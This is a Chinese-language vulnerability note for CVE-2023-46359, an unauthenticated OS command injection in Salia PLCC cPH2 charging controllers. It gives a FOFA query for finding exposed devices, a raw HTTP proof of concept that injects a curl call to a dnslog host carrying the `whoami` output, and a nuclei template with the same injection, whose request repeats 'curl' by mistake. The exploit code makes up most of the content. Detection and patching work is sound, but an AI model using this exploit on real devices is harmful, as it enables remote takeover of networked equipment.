Salia PLCC cPH2 远程命令执行漏洞(CVE-2023-46359)

漏洞描述

Salia PLCC cPH2 v1.87.0 及更早版本中存在一个操作系统命令注入漏洞，该漏洞可能允许未经身份验证的远程攻击者通过传递给连接检查功能的特制参数在系统上执行任意命令。

产品界面

fofa语法

"Salia PLCC"

POC

GET /connectioncheck.php?ip=127.0.0.1+%26%26+curl+http:%2F%2Fip.port.xxx.dnslog.pw/`whoami` HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

nuclei验证

id: CVE-2023-46359
info:
  name: Salia PLCC cPH2 远程命令执行漏洞(CVE-2023-46359)
  author: nobody
  severity: critical
  description: |
    Salia PLCC cPH2 v1.87.0 及更早版本中存在一个操作系统命令注入漏洞，该漏洞可能允许未经身份验证的远程攻击者通过传递给连接检查功能的特制参数在系统上执行任意命令。
  impact: |
    攻击者可远程执行系统命令
  remediation: |
    升级版本，输入严格过滤
  metadata:
    verified: true
    max-request: 3
    fofa-query: "Salia PLCC"
  tags: CVE-2023-46359
requests:
  - raw:
      - |
        @timeout:20s
        GET /connectioncheck.php?ip=127.0.0.1+%26%26+curl+curl+http:%2F%2F{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Length: 0
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
      - type: word
        part: body
        words:
          - "SUCCESS"
      - type: status
        status:
          - 200

修复建议

• 建议升级到最新版本
• 对输入传参做严格过滤